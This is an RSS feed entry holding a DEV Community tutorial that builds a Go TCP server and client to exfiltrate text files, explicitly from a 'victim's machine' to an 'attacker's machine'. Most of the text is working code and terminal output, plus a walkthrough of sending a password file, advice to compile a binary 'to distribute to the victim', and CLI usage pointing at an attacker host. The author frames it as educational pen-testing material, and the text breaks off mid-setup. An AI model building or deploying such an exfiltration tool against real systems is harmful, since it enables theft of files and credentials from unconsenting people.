<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Vedant Pareek</title>
    <description>The latest articles on DEV Community by Vedant Pareek (@dunefro).</description>
    <link>https://dev.to/dunefro</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F689429%2F6bbf9024-0c02-40eb-950f-020728abc459.png</url>
      <title>DEV Community: Vedant Pareek</title>
      <link>https://dev.to/dunefro</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/dunefro"/>
    <language>en</language>
    <item>
      <title>Hack and Exfiltrate text files using GoLang</title>
      <dc:creator>Vedant Pareek</dc:creator>
      <pubDate>Sun, 23 Jan 2022 18:07:16 +0000</pubDate>
      <link>https://dev.to/dunefro/hack-and-exfiltrate-text-files-using-golang-14gg</link>
      <guid>https://dev.to/dunefro/hack-and-exfiltrate-text-files-using-golang-14gg</guid>
      <description>&lt;p&gt;This article will help you to write a Golang program which will transfer files from the remote machine (victim's machine) to your local environment(attacker's machine).&lt;/p&gt;

&lt;p&gt;This article is mainly for education purposes and can be used for small pen-testing scenarios as well ( I have used it and it really works). We can use tools like &lt;code&gt;scp&lt;/code&gt; and &lt;code&gt;nc&lt;/code&gt; as well to transfer file data but we here get a chance to do the same natively using Golang.&lt;/p&gt;

&lt;h2&gt;
  
  
  Plan of Action
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Setting up your workspace&lt;/li&gt;
&lt;li&gt;Create a TCP server which opens a TCP port for data transfer.&lt;/li&gt;
&lt;li&gt;Transfer data using &lt;code&gt;netcat&lt;/code&gt; to check connectivity.&lt;/li&gt;
&lt;li&gt;Concurrently listen to the data being sent.&lt;/li&gt;
&lt;li&gt;Create a client that sends data to the server.&lt;/li&gt;
&lt;li&gt;Modify the client to read a file and send data to the server.&lt;/li&gt;
&lt;li&gt;Create a CLI app using &lt;code&gt;cobra&lt;/code&gt; to combine client and server in a single application and use arguments to accept file names, hostname or IP address and port to connect.&lt;/li&gt;
&lt;li&gt;Make it Windows and Linux suitable. (For you to hack some readable windows file)&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Let's begin
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Setting up your workspace
&lt;/h3&gt;

&lt;p&gt;First we create a folder called &lt;code&gt;data_exfiltrator&lt;/code&gt; in which our application will reside. Inside this we will create a folder called &lt;code&gt;server&lt;/code&gt; which will contain a file called &lt;code&gt;server.go&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;data_exfiltrator
└── server
    └── server.go
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  TCP server
&lt;/h3&gt;

&lt;p&gt;Now we will create a simple TCP server. For this we are using &lt;code&gt;127.0.0.1&lt;/code&gt; (localhost) and port 8080 to bind the server&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package main

import "fmt"

// constant used for connections
const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
)

func main() {
    fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we will open a socket so that we can use it as a server. For this we will try the &lt;code&gt;net&lt;/code&gt; package, natively provided to us, by Golang which is used for providing portable interface for network connections. &lt;code&gt;net&lt;/code&gt; package is easy to start with. &lt;/p&gt;

&lt;p&gt;When we run &lt;code&gt;net.Listen()&lt;/code&gt; we wish to listen on the network and when we run &lt;code&gt;net.Dial()&lt;/code&gt; we wish to dial the connection to some other program on a network. &lt;/p&gt;

&lt;p&gt;For server to server we use &lt;code&gt;net.Listen()&lt;/code&gt; &lt;br&gt;
for client to send data we use &lt;code&gt;net.Dial()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Right now to create a TCP server we will use &lt;code&gt;net.Listen()&lt;/code&gt;. Now the code will look like&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package main

import (
    "fmt"
    "net"
)

const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
)

func main() {
    fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)

    // starting a server
    conn, err := net.Listen(connType, connHost+":"+connPort)

    if err != nil {
        fmt.Println("Connection error", connHost+":"+connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // to continuously listen to connections
    fmt.Println("Listening ...")
    for {
        client, err := conn.Accept()
        if err != nil {
            panic(err.Error())
        }
        // To print the client address and port
        fmt.Println("Client", client.RemoteAddr().String(), "connected")

        // code here for accepting the traffic
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We start the server with &lt;code&gt;conn, err := net.Listen(connType, connHost+":"+connPort)&lt;/code&gt; and use &lt;code&gt;defer&lt;/code&gt; as best practice to safely close the connection. &lt;br&gt;
We run an infinite loop to listen to connections and use&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;client, err := conn.Accept()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;to accept the connections. After this we will code what we need to do with the &lt;code&gt;client&lt;/code&gt; once a connection is accepted.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;func main() {
    fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)

    // starting a server
    conn, err := net.Listen(connType, connHost+":"+connPort)

    if err != nil {
        fmt.Println("Connection error", connHost+":"+connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // to continuously listen to connections
    fmt.Println("Listening ...")
    for {
        client, err := conn.Accept()
        if err != nil {
            panic(err.Error())
        }
        // To print the client address and port
        fmt.Println("Client", client.RemoteAddr().String(), "connected")

        // code here for accepting the traffic
        buffer, err := bufio.NewReader(client).ReadBytes('\n')
        if err != nil {
            fmt.Println("Client left")
            client.Close()
            return
        }
        fmt.Println("Client message:", string(buffer[:]))

        // We close the client just after receiveing one message
        client.Close()
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We create a Reader using &lt;code&gt;bufio&lt;/code&gt; package. This will create a reader for us which will read bytes and delimit them at &lt;code&gt;\n&lt;/code&gt;. The message from the client is stored in the &lt;code&gt;buffer&lt;/code&gt; variable as bytes which we convert to string using &lt;code&gt;string(buffer[:])&lt;/code&gt;. &lt;br&gt;
To run and test this, open two terminals -&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# First terminal
$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the second terminal&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ nc localhost 8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and we will explain rest in the next section&lt;/p&gt;

&lt;h3&gt;
  
  
  Using &lt;code&gt;nc&lt;/code&gt; or &lt;code&gt;netcat&lt;/code&gt; to transfer the data
&lt;/h3&gt;

&lt;p&gt;Once you run &lt;code&gt;nc&lt;/code&gt; command you will observe that our print statement is able to print out the connection details in the first terminal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:40346 connected
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now in the second terminal we can just send the data by typing it&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ nc localhost 8080
hello
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When we press enter after typing &lt;code&gt;hello&lt;/code&gt; we can see the same appears over on the terminal one.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:40984 connected
Client message: hello
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You will see that your connection on the terminal gets immediately closed because we are running &lt;code&gt;client.Close()&lt;/code&gt; in the last line of the code. To make it more interactive we will now convert this code to accept connections and handle the connection on some go routines.&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating goroutine to handle client connections
&lt;/h3&gt;

&lt;p&gt;Every connection to the server will be handled in a goroutine. Its very simple to implement and we will create a special function to do that. The name of the function is &lt;code&gt;handleConnection()&lt;/code&gt; and this function will take the client connection as the parameter and perform the given tasks.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;func main() {
    fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)

    // starting a server
    conn, err := net.Listen(connType, connHost+":"+connPort)

    if err != nil {
        fmt.Println("Connection error", connHost+":"+connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // to continuously listen to connections
    fmt.Println("Listening ...")
    for {
        client, err := conn.Accept()
        if err != nil {
            panic(err.Error())
        }
        // To print the client address and port
        fmt.Println("Client", client.RemoteAddr().String(), "connected")

        // code here for accepting the traffic
        go handleConnection(client)
    }
}

// Function to handle go routine after accepting client
func handleConnection(client net.Conn) {
    for {
        buffer, err := bufio.NewReader(client).ReadBytes('\n')
        if err != nil {
            fmt.Println("Client left")
            client.Close()
            return
        }
        fmt.Print("Client message:", string(buffer[:]))
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;Client Left&lt;/code&gt; statement is executed in the &lt;code&gt;handleConnection()&lt;/code&gt; function when &lt;code&gt;bufio&lt;/code&gt; reader is not able to read the incoming bytes and this will happen when the client has closed the connection from its side. Now the server will not close the connection immediately as the goroutine is running an infinite loop to receive messages continuously from the client. It will be the client's responsibility to close the connection now.&lt;br&gt;
Terminal 1 - Running the server&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Terminal 2 - Running the &lt;code&gt;nc&lt;/code&gt; client&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ nc localhost 8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we will continuously send the messages from &lt;code&gt;nc&lt;/code&gt; and we can see the same getting reflected in the terminal 1&lt;br&gt;
Terminal 2 - &lt;code&gt;nc&lt;/code&gt; (Type your message and press enter to send the message)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ nc localhost 8080
hello
how
are
you
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Terminal 1 - Your server&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run server/server.go                                                                                                    
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When we terminate the &lt;code&gt;nc&lt;/code&gt; command using Ctrl+C then we get a message on server that client has left.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run server/server.go                                                                                                    
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Client left
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now you don't need to restart server for another connection. Just simply create a &lt;code&gt;nc&lt;/code&gt; client and start sending the messages again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run server/server.go                                                                                                    
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Client left
Client 127.0.0.1:55832 connected
Client message:hello how are you
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here we see the client will get connected again through some different source port.&lt;/p&gt;

&lt;h3&gt;
  
  
  Create a client that sends data to the server
&lt;/h3&gt;

&lt;p&gt;Now we will remove the need of &lt;code&gt;nc&lt;/code&gt; and create our own client to achieve the same.&lt;br&gt;
For this create a directory called &lt;code&gt;client&lt;/code&gt; and create a file inside it called &lt;code&gt;client.go&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package main

import (
    "bufio"
    "fmt"
    "os"
)

// there are server details to which client will connect
const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
)

func main() {
    reader := bufio.NewReader(os.Stdin)
    for {
        fmt.Print("Enter text: ")
        text, _ := reader.ReadString('\n')
        fmt.Printf("Your text is %s", text)
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have server details that we will use soon to connect our client to the server. Right now we have created a reader that takes input from the &lt;code&gt;os.Stdin&lt;/code&gt; (your terminal) and prints them out in a continuous loop. You can run this program via &lt;code&gt;go run client/client.go&lt;/code&gt; to test if it works for you.&lt;br&gt;
Now we will modify the &lt;code&gt;main&lt;/code&gt; function to send &lt;code&gt;text&lt;/code&gt; to our server and we already discussed to use &lt;code&gt;net.Dial()&lt;/code&gt; for this. So our &lt;code&gt;main&lt;/code&gt; function will become&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package main

import (
    "bufio"
    "fmt"
    "net"
    "os"
)

// there are server details to which client will connect
const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
)

func main() {

    // connecting to the server
    conn, err := net.Dial(connType, connHost+":"+connPort)
    if err != nil {
        fmt.Println("Not able to connect to ", connHost, "at port", connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // creating a reader
    reader := bufio.NewReader(os.Stdin)

    for {
        fmt.Print("Enter text: ")
        text, _ := reader.ReadString('\n')

        // Convert the text to bytes and then write the bytes for it send to the connection.
        conn.Write([]byte(text))
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We create a block to connect to server and create a reader for reading input from &lt;code&gt;stdin&lt;/code&gt; and then send it by using &lt;code&gt;conn.Write()&lt;/code&gt; function.&lt;br&gt;
To run this we will first run a server in terminal 1 and client in terminal 2.&lt;br&gt;
Terminal - 1&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run server/server.go 
Starting tcp server on 127.0.0.1:8080
Listening ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Terminal - 2&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run client/client.go                                                                                                         
Enter text:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Enter to send text&lt;br&gt;
Terminal - 2 (client)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run client/client.go                                                                                                         
Enter text: hello
Enter text: how
Enter text: are
Enter text: you
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Terminal - 1 (server)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run server/server.go 
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:58480 connected
Client message:hello
Client message:how
Client message:are
Client message:you
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Modify the client to read the file
&lt;/h3&gt;

&lt;p&gt;Our main purpose is to exfiltrate text file form the victim's machine to the remote machine, so logically our client should read input from text files rather then &lt;code&gt;os.Stdin&lt;/code&gt;.&lt;br&gt;
For this we will create a text file &lt;code&gt;sample_input.txt&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;password1
password2
password3
password4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our directory structure looks like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
└── server
    └── server.go
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now our &lt;code&gt;client.go&lt;/code&gt; will be modified to read data from file &lt;code&gt;sample_input.txt&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package main

import (
    "bufio"
    "fmt"
    "net"
    "os"
)

// there are server details to which client will connect
// we add here the file name to exfiltrate
const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
    fileName = "client/sample_input.txt"
)

func main() {

    // connecting to the server
    conn, err := net.Dial(connType, connHost+":"+connPort)
    if err != nil {
        fmt.Println("Not able to connect to ", connHost, "at port", connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // Open the file here
    file, err := os.Open(fileName)
    defer file.Close()
    if err != nil {
        fmt.Println("Not able to read file", fileName)
        panic(err.Error())
    }

    // Create a scanner to read the open file
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {

        // We add \n because scanner.Text() removes the ending newline character
        conn.Write([]byte(scanner.Text() + "\n"))

    }
    fmt.Println("File transferred successfully")
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We add the &lt;code&gt;const&lt;/code&gt; for file location &lt;code&gt;fileName&lt;/code&gt;. To open a file for reading we use the &lt;code&gt;os&lt;/code&gt; library and for reading the text from a file we use the &lt;code&gt;bufio&lt;/code&gt; scanner.&lt;br&gt;
The problem with the &lt;code&gt;Scanner&lt;/code&gt; is that it removes the newline after reading text from the file. That's why we need to add the newline at the end of the text that we are sending to the connection in &lt;code&gt;conn.Write()&lt;/code&gt; statement. Let's test this !&lt;br&gt;
Terminal -1 run your server normally as there are no changes&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Running your &lt;code&gt;client.go&lt;/code&gt; file to send the data&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run client/client.go
File transferred successfully
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we see the output in the terminal 1, we will be surprised&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:34706 connected
Client message:password1
Client left
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We see that only the first line is being transferred to the server. But why? What happens to the remaining one ?&lt;/p&gt;

&lt;p&gt;The problem is because of the speed with which client is sending the data and the speed with which the server is ready to accept it. As the communication is asynchronous the client is never sure that the server has read the previous message. To make client run a bit slow we will add &lt;code&gt;time.Sleep()&lt;/code&gt; for client to sleep for 5 milliseconds.&lt;br&gt;
This is to be done in the &lt;code&gt;scanner.Scan()&lt;/code&gt; loop&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;...&amp;gt;
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {

        // We add \n because scanner.Text() removes the ending newline character
        conn.Write([]byte(scanner.Text() + "\n"))

        // sleeping for 5 milliseconds
        time.Sleep(5 * time.Millisecond)

    }
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now running the &lt;code&gt;client.go&lt;/code&gt; in terminal 2&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run client/client.go
File transferred successfully
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and server in terminal 1&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:35510 connected
Client message:password1
Client message:password2
Client message:password3
Client message:password4
Client left
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We are now able to see all the contents of the file. if this still is not giving you correct answer then try increasing the sleep time to 10, 20 or maybe even 50 milliseconds. But isn't this approach still asynchronous. The client is still unaware of whether the data has been read by the server or not. &lt;/p&gt;

&lt;p&gt;To make this a complete synchronized process we will ask the server to response a &lt;code&gt;yes&lt;/code&gt; or maybe anything as small as one character to declare that it has read the message and simultaneously ask the client to read (and send ) the next line only after receiving this confirmation.&lt;/p&gt;

&lt;p&gt;So to do this will modify the &lt;code&gt;server.go&lt;/code&gt; to write a response in the &lt;code&gt;handleConnection&lt;/code&gt; function&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;func handleConnection(client net.Conn) {
    for {
        buffer, err := bufio.NewReader(client).ReadBytes('\n')
        if err != nil {
            fmt.Println("Client left")
            client.Close()
            return
        }
        fmt.Print("Client message:", string(buffer[:]))

        // send this as a response to the client
        client.Write([]byte("Y"))
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and in the &lt;code&gt;client.go&lt;/code&gt; to read the response we will modify the for loop of &lt;code&gt;scanner.Scan&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    scanner := bufio.NewScanner(file)
    for scanner.Scan() {

        // We add \n because scanner.Text() removes the ending newline character
        conn.Write([]byte(scanner.Text() + "\n"))

        // declare a byte variable
        var b = make([]byte, 2, 3)

        // read the response here
        conn.Read(b)

    }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We declare a variable and read the response in that variable. Once this is done we will begin reading next line.&lt;/p&gt;

&lt;p&gt;Running this from terminal - 2 for client&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run client/client.go
File transferred successfully
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From terminal - 1 for server&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:36584 connected
Client message:password1
Client message:password2
Client message:password3
Client message:password4
Client left
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now our entire process is synchronous.&lt;/p&gt;

&lt;p&gt;Now if you want you can stop here and modify the host and port to make it workable for your needs. Launch the server in your local and run the client program on the victim machine. Obviously there are high chances that you might not be able to run the go program in the victim machine directly using the &lt;code&gt;go&lt;/code&gt; command so you need to convert it into an executable. For this you can run the following command -&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ cd client

$ go build client.go
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will create a binary that you can distribute to the victim and transfer the text files from there.&lt;/p&gt;

&lt;p&gt;If you want to transform the entire thing into a complete tool then follow along to see how we convert server and client to a single application and use arguments for host, port and file paths.&lt;/p&gt;

&lt;h3&gt;
  
  
  Using cobra for CLI modifications.
&lt;/h3&gt;

&lt;p&gt;Before diving into this our purpose in this sub-section is to create a tool which run server like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./data_exfiltrator server --host 192.168.56.1 --port 8080 -o output.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and for the client to exfiltrate &lt;code&gt;password.txt&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./data_exfiltrator client --host 192.168.56.1 --port 8080 -f password.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For this we will use &lt;code&gt;cobra&lt;/code&gt; which is used by lot of open-source projects like &lt;code&gt;kubernetes&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For getting started this is our current folder&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ pwd
~/data_exfiltrator
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and the directory structure is&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
└── server
    └── server.go
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First we need to create a module which we can done by running&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go mod init example.com/data_exfiltrator
go: creating new go.mod: module example.com/data_exfiltrator
go: to add module requirements and sums:
    go mod tidy

# It will create a go.mod file                                                                                                                                        
$ ls -lrt           
total 12
drwxr-xr-x 2 kai kai 4096 Jan 21 23:51 server
drwxr-xr-x 2 kai kai 4096 Jan 23 21:29 client
-rw-r--r-- 1 kai kai   45 Jan 23 21:31 go.mod
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To install cobra we need to install its module. Preferably run this from &lt;code&gt;~/data_exfiltrator&lt;/code&gt; directory.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go get -u github.com/spf13/cobra
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will install the module dependency in the &lt;code&gt;go.mod&lt;/code&gt; file and &lt;code&gt;go.sum&lt;/code&gt; file for checksums&lt;/p&gt;

&lt;p&gt;Now we need to set out our &lt;code&gt;PATH&lt;/code&gt; variable to take binaries inside the path &lt;code&gt;GOBIN&lt;/code&gt; as well . To get the &lt;code&gt;GOBIN&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ go env  | grep GOBIN                                                                                                          
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the &lt;code&gt;GOBIN&lt;/code&gt; is empty for you search for &lt;code&gt;GOPATH/bin&lt;/code&gt; and add this to your path variable.&lt;br&gt;
To check this run&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ cobra help
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If this runs successfully then cobra is rightly installed.&lt;/p&gt;

&lt;p&gt;Now we will use cobra to initialize our client APP. The command to do that is&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ cobra init
